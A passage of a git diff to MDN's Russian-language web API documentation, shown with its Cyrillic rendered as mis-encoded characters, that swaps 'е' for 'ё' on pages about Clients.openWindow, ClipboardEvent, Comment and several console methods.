+ // ΠΈΠ»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ΅, с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ подошСдшСго ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°
}
}
});</pre>
diff --git a/files/ru/web/api/clients/openwindow/index.html b/files/ru/web/api/clients/openwindow/index.html
index 64d67ce7ca..78e5412005 100644
--- a/files/ru/web/api/clients/openwindow/index.html
+++ b/files/ru/web/api/clients/openwindow/index.html
@@ -14,7 +14,7 @@ translation_of: Web/API/Clients/openWindow
---
<div>{{APIRef("Service Workers API")}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>openWindow()</code></strong> интСрфСйса {{domxref("Clients")}} создаСт Π½ΠΎΠ²Ρ‹ΠΉ контСкст просмотра Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ URL. Если Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ скрипт Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π½Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΎΠΊΠΎΠ½, <code>openWindow()</code> выдаст <code>InvalidAccessError</code>.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>openWindow()</code></strong> интСрфСйса {{domxref("Clients")}} создаёт Π½ΠΎΠ²Ρ‹ΠΉ контСкст просмотра Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ URL. Если Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ скрипт Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π½Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΎΠΊΠΎΠ½, <code>openWindow()</code> выдаст <code>InvalidAccessError</code>.</p>
<p>Π’ Firefox этому ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΎΠΊΠ½Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ события ΠΊΠ»ΠΈΠΊΠ΅Β ΠΏΠΎΒ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΡŽ.</p>
@@ -59,7 +59,7 @@ self.addEventListener('notificationclick', e =&gt; {
e.waitUntil(clients.matchAll({ type: 'window' }).then(clientsArr =&gt; {
// Если Π²ΠΊΠ»Π°Π΄ΠΊΠ°, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π°Ρ Ρ†Π΅Π»Π΅Π²ΠΎΠΌΡƒ URL-адрСсу, ΡƒΠΆΠ΅ сущСствуСт, ΡΡ„ΠΎΠΊΡƒΡΠΈΡ€ΡƒΠΉΡ‚Π΅ΡΡŒ Π½Π° Π½Π΅ΠΉ;
const hadWindowToFocus = clientsArr.some(windowClient =&gt; windowClient.url === e.notification.data.url ? (windowClient.focus(), true) : false);
- // Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ для ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ URL-адрСса ΠΈ сфокусируйтС Π΅Π΅.
+ // Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ для ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ URL-адрСса ΠΈ сфокусируйтС Π΅Ρ‘.
if (!hadWindowToFocus) clients.openWindow(e.notification.data.url).then(windowClient =&gt; windowClient ? windowClient.focus() : null);
}));
});
diff --git a/files/ru/web/api/clipboardevent/index.html b/files/ru/web/api/clipboardevent/index.html
index 6078feb5c0..792f097015 100644
--- a/files/ru/web/api/clipboardevent/index.html
+++ b/files/ru/web/api/clipboardevent/index.html
@@ -27,7 +27,7 @@ translation_of: Web/API/ClipboardEvent
<dl>
<dt>{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ <code>ClipboardEvent</code> событиС с ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ <code>ClipboardEvent</code> событиС с ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ.</dd>
</dl>
<h2 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
diff --git a/files/ru/web/api/comment/index.html b/files/ru/web/api/comment/index.html
index 1f5be83365..d262ab9a04 100644
--- a/files/ru/web/api/comment/index.html
+++ b/files/ru/web/api/comment/index.html
@@ -5,7 +5,7 @@ tags:
- ΠšΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ
translation_of: Web/API/Comment
---
-<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ<span class="seoSummary"> <code><strong>Comment</strong></code> прСдставляСт собой тСкстовыС записи Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅; хотя, Π² основном, ΠΎΠ½ΠΈ Π½Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ доступны для чтСния Π² исходном ΠΊΠΎΠ΄Π΅.</span> ΠšΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈΒ  ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ Π²Β  HTML ΠΈ XML ΠΊΠ°ΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΌΠ΅ΠΆΠ΄ΡƒΒ  '<code>&lt;!--</code>' ΠΈ '<code>--&gt;</code>'. Π’ XML, ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ символов '<code>--</code>' ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² коммСнтариях.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ<span class="seoSummary"> <code><strong>Comment</strong></code> прСдставляСт собой тСкстовыС записи Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅; хотя, Π² основном, ΠΎΠ½ΠΈ Π½Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ доступны для чтСния Π² исходном ΠΊΠΎΠ΄Π΅.</span> ΠšΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈΒ  ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ Π²Β  HTML ΠΈ XML ΠΊΠ°ΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ ΠΌΠ΅ΠΆΠ΄ΡƒΒ  '<code>&lt;!--</code>' ΠΈ '<code>--&gt;</code>'. Π’ XML, ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ символов '<code>--</code>' ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² коммСнтариях.</p>
<p>{{InheritanceDiagram}}</p>
diff --git a/files/ru/web/api/console/count/index.html b/files/ru/web/api/console/count/index.html
index 32304c274f..500fec756d 100644
--- a/files/ru/web/api/console/count/index.html
+++ b/files/ru/web/api/console/count/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Console/count
<p>{{AvailableInWorkers}}</p>
-<p>Если <code>label</code> пСрСдаСтся Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Ρ‚ΠΎ ΠΎΠ½Π° Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ число Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>count()</code> с Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ Ρ‚ΠΎΡ‡Π½ΠΎΒ <code>label</code>.</p>
+<p>Если <code>label</code> пСрСдаётся Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Ρ‚ΠΎ ΠΎΠ½Π° Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ число Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>count()</code> с Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ Ρ‚ΠΎΡ‡Π½ΠΎΒ <code>label</code>.</p>
<p>Если <code>label</code> ΠΎΠΏΡƒΡ‰Π΅Π½Π°, Ρ‚ΠΎ функция Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Ρ‚Π°ΠΊΠΎΠ΅ число, сколько Ρ€Π°Π· Π±Ρ‹Π»Π° Π²Ρ‹Π·Π²Π°Π½Π° функция <code>count()</code>Β Π² этой ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ строкС.</p>
@@ -64,7 +64,7 @@ console.count("alice");</pre>
"alice: 2"
"alice: 3"</pre>
-<p>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΡ‹ сохранили Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ счСтчики ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ <code>label</code>. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ строка  "alice" Β Π² строкС 11 совпала со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>user</code> Π΄Π²Π°ΠΆΠ΄Ρ‹, это Π½Π΅ ΡΠΎΡ‡Π»ΠΎΡΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ событиСм.</p>
+<p>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΡ‹ сохранили Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ счётчики ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ <code>label</code>. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ строка  "alice" Β Π² строкС 11 совпала со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>user</code> Π΄Π²Π°ΠΆΠ΄Ρ‹, это Π½Π΅ ΡΠΎΡ‡Π»ΠΎΡΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ событиСм.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -75,7 +75,7 @@ console.count("alice");</pre>
<dl>
<dt><code>label</code></dt>
- <dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ°. Если ΠΎΠ½Π° пСрСдаСтся, <code>count()</code>Β Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Ρ‚Π°ΠΊΠΎΠ΅ число, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ соотвСтствуСт количСству Β Ρ€Π°Π· Π²Ρ‹Π·ΠΎΠ²Π° Π΄Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ Ρ‚ΠΎΡ‡Π½ΠΎ <code>label</code>.</dd>
+ <dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ°. Если ΠΎΠ½Π° пСрСдаётся, <code>count()</code>Β Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Ρ‚Π°ΠΊΠΎΠ΅ число, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ соотвСтствуСт количСству Β Ρ€Π°Π· Π²Ρ‹Π·ΠΎΠ²Π° Π΄Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ Ρ‚ΠΎΡ‡Π½ΠΎ <code>label</code>.</dd>
</dl>
<h2 id="Specifications">Specifications</h2>
diff --git a/files/ru/web/api/console/countreset/index.html b/files/ru/web/api/console/countreset/index.html
index 3725be4d9d..41c80c15a5 100644
--- a/files/ru/web/api/console/countreset/index.html
+++ b/files/ru/web/api/console/countreset/index.html
@@ -5,13 +5,13 @@ translation_of: Web/API/Console/countReset
---
<div>{{APIRef("Console API")}}</div>
-<p>БбрасываСт значСниС счСтчика. Π­Ρ‚Π° функция Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>label</code>.</p>
+<p>БбрасываСт значСниС счётчика. Π­Ρ‚Π° функция Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>label</code>.</p>
<p>{{AvailableInWorkers}}</p>
-<p>Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>label</code> ΠΏΠ΅Ρ€Π΅Π΄Π°Π½, Ρ‚ΠΎ функция сбросит счСтчик связанный с этим Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ.</p>
+<p>Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>label</code> ΠΏΠ΅Ρ€Π΅Π΄Π°Π½, Ρ‚ΠΎ функция сбросит счётчик связанный с этим Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ.</p>
-<p>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>label</code> ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ, Ρ‚ΠΎ функция сбросит счСтчик, Π·Π°Π΄Π°Π½ΠΈΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
+<p>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>label</code> ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ, Ρ‚ΠΎ функция сбросит счётчик, Π·Π°Π΄Π°Π½ΠΈΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -23,8 +23,8 @@ translation_of: Web/API/Console/countReset
<dl>
<dt><code>label</code></dt>
<dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ°.<br>
- Если аргумСнт labelΒ Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅Π΄Π°Π½, <code>countReset()</code> сбросит ΠΊ 0 счСтчик для этого label.<br>
- Если Π½Π΅Ρ‚, <code>count()</code> сбросит ΠΊ 0 счСтчик,Β Π·Π°Π΄Π°Π½ΠΈΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
+ Если аргумСнт labelΒ Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅Π΄Π°Π½, <code>countReset()</code> сбросит ΠΊ 0 счётчик для этого label.<br>
+ Если Π½Π΅Ρ‚, <code>count()</code> сбросит ΠΊ 0 счётчик,Β Π·Π°Π΄Π°Π½ΠΈΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
</dl>
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
@@ -33,17 +33,17 @@ translation_of: Web/API/Console/countReset
<pre> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">counter-name: 0</span></span></span></pre>
-<p>Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ label Π½Π΅ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½:</p>
+<p>Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ label Π½Π΅ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½:</p>
<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">default: 0</span></span></span></pre>
<h3 id="Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ">Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ</h3>
-<p>Если аргумСнт <code>label</code> Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅Π΄Π°Π½, Π½ΠΎ Ρ‚Π°ΠΊΠΎΠ³ΠΎ счСтчика Π½Π΅ сущСствуСт <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>countReset</code> Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅:</span></span></span></p>
+<p>Если аргумСнт <code>label</code> Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅Π΄Π°Π½, Π½ΠΎ Ρ‚Π°ΠΊΠΎΠ³ΠΎ счётчика Π½Π΅ сущСствуСт <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>countReset</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅:</span></span></span></p>
<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>Counter "counter-name" doesn’t exist.</code></span></span></span></pre>
-<p>Если аргумСнт <code>label</code>Β Π½Π΅ Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ ΠΈΒ <code>count()</code> Π½Π΅ Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½ Ρ€Π°Π½Π΅Π΅, <code>countReset</code> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅</span></span></span>:</p>
+<p>Если аргумСнт <code>label</code>Β Π½Π΅ Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ ΠΈΒ <code>count()</code> Π½Π΅ Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½ Ρ€Π°Π½Π΅Π΅, <code>countReset</code> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅</span></span></span>:</p>
<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>Counter "default" doesn’t exist.</code></span></span></span></pre>
@@ -75,7 +75,7 @@ console.countReset();</pre>
"default: 0"
</pre>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅,Β Ρ‡Ρ‚ΠΎ Π²Ρ‹Π·ΠΎΠ² console.counterReset() сбросил Π΄ΠΎ 0 Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счСтчика Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅,Β Ρ‡Ρ‚ΠΎ Π²Ρ‹Π·ΠΎΠ² console.counterReset() сбросил Π΄ΠΎ 0 Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счётчика Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
<p>Если ΠΌΡ‹ присвоим ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ <code>user</code> ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>label</code> ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π΅Β <code>count()</code>, ΠΈ строку "alice" ΠΏΡ€ΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠΌ:</p>
@@ -102,7 +102,7 @@ console.count("alice");</pre>
"bob: 0"
"alice: 3"</pre>
-<p>Бброс счСтчика "bob" ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ» Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ этого счСтчика. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счСтчика "alice" ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½ΠΎ.</p>
+<p>Бброс счётчика "bob" ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ» Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ этого счётчика. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счётчика "alice" ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½ΠΎ.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/console/group/index.html b/files/ru/web/api/console/group/index.html
index 91817d2671..aab129926f 100644
--- a/files/ru/web/api/console/group/index.html
+++ b/files/ru/web/api/console/group/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Console/group
---
<div>{{APIRef("Console API")}}</div>
-<div>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²ΡƒΡŽ Π³Ρ€ΡƒΠΏΠΏΡƒ сообщСний Π² <a href="/en-US/docs/Tools/Web_Console">Π²Π΅Π±-консоли</a>. ПослС Π²Ρ‹Π·ΠΎΠ²Π° ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ сообщСния, Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌΡ‹Π΅Β Π² консоль, Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ отступа, Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("console.groupEnd()")}}.</div>
+<div>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²ΡƒΡŽ Π³Ρ€ΡƒΠΏΠΏΡƒ сообщСний Π² <a href="/en-US/docs/Tools/Web_Console">Π²Π΅Π±-консоли</a>. ПослС Π²Ρ‹Π·ΠΎΠ²Π° ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ сообщСния, Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌΡ‹Π΅Β Π² консоль, Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ отступа, Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("console.groupEnd()")}}.</div>
<p>{{AvailableInWorkers}}</p>
@@ -23,9 +23,9 @@ translation_of: Web/API/Console/group
<p>{{h3_gecko_minversion("ИспользованиС в вСб-консоли", "9.0")}}</p>
-<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠ΅Β Π³Ρ€ΡƒΠΏΠΏΒ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΡƒΠΏΠΎΡ€ΡΠ΄ΠΎΡ‡ΠΈΡ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄Β Π² консоль благодаря Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²ΠΊΠ΅ связанных сообщСний. Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ Π±Π»ΠΎΠΊ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ <code>console.group()</code>. ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>console.groupCollapsed()</code> Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½ΠΎ вывСдСнная Π³Ρ€ΡƒΠΏΠΏΠ° Π±ΡƒΠ΄Π΅Ρ‚ свСрнута Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ 